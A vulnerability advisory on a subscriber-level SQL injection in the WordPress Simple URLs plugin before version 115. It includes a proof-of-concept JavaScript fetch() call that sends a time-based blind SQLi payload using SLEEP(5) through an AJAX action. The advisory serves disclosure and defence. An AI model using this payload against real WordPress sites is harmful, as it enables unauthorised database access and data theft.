Simple URLs < 115 – Subscriber+ SQLi

Description

The plugin does not escape some parameters before using them in various SQL statements used by AJAX actions available by any authenticated users, leading to a SQL injection exploitable by low privilege users such as subscriber.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user and notice the delay of 5s to receive the response

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=lasso_lite_group_get_list&page=1&keyword=v%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F9434%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%28SLEEP%285%29%29%29kcCp%29%2F%2A%2A%2FAND%2F%2A%2A%2F%27oJFG%27%3D%27oJFG',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));